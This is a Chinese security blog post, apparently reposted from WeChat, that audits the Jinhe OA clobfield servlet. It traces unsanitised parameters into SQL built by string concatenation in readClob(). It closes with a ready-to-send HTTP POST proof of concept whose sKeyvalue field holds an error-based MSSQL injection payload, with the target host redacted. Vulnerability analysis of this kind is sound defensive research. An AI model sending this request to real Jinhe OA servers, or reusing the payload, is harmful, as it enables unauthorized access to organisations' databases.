最近一直在打项目没有时间更新今天随便水一篇文章吧
0x01 技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。
0x02 漏洞分析
SQL注入一些常见的审计参数:
${}
select
insert
update
in
like
orderby
statement
createStatemen
PrepareStatemen
先看web.xml文件发现存在一个路径/servlet/clobfield我们追踪clobfield类。
发现是从外部接收五个参数sTablename,sImgname,sKeyname,sKeyvalue,key。这段代码关注点在clobfield1 wd = new clobfield1(); 创建了一个 clobfield1 类的实例对象来获取wd对象的成员变量。然后就是利用strKey的值来决定执行哪种操作,如果strKey等于 "readClob",就调用 wd 对象的 readClob() 方法,并将返回的结果输出到响应中。
如果strKey等于 "writeClob",就从请求中获取输入流,并调用 wd 对象的 writeClob() 方法,将输入流的内容写入响应中。所以具体的实现要看clobfield1类的源码。
我们追到clobfield1处查看源码可以发现在readClob()方法中进行了sql语句拼接,执行SQL查询语句,从指定的表(this.sTablename)中查询指定键值(this.sKeyvalue)对应的 CLOB 字段(this.sImgname)后面就是判断如果查询结果集有数据就会获取第一列的CLOB对象然后再获取获取CLOB内容的长度最后从CLOB中获取全部内容并存储到字符串sRet中到这就会发现存在SQL注入了,没有预编译没有过滤字符。
0x03 漏洞复现
数据包:
这个sql注入的paylod需要自己调整有的数据库是mysql有的可能是mssql的。基本上都存在SQL注入漏洞。
POST /jc6/servlet/clobfield HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Length: 129
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 77
key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11'/**/and/**/CONVERT(int,@@version)=1/**/and/**/''='
喜欢的可以点点关注呀一起研究学习代码冲冲冲
原文始发于微信公众号(Kokoxca安全):金和oaSQL注入(在野)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论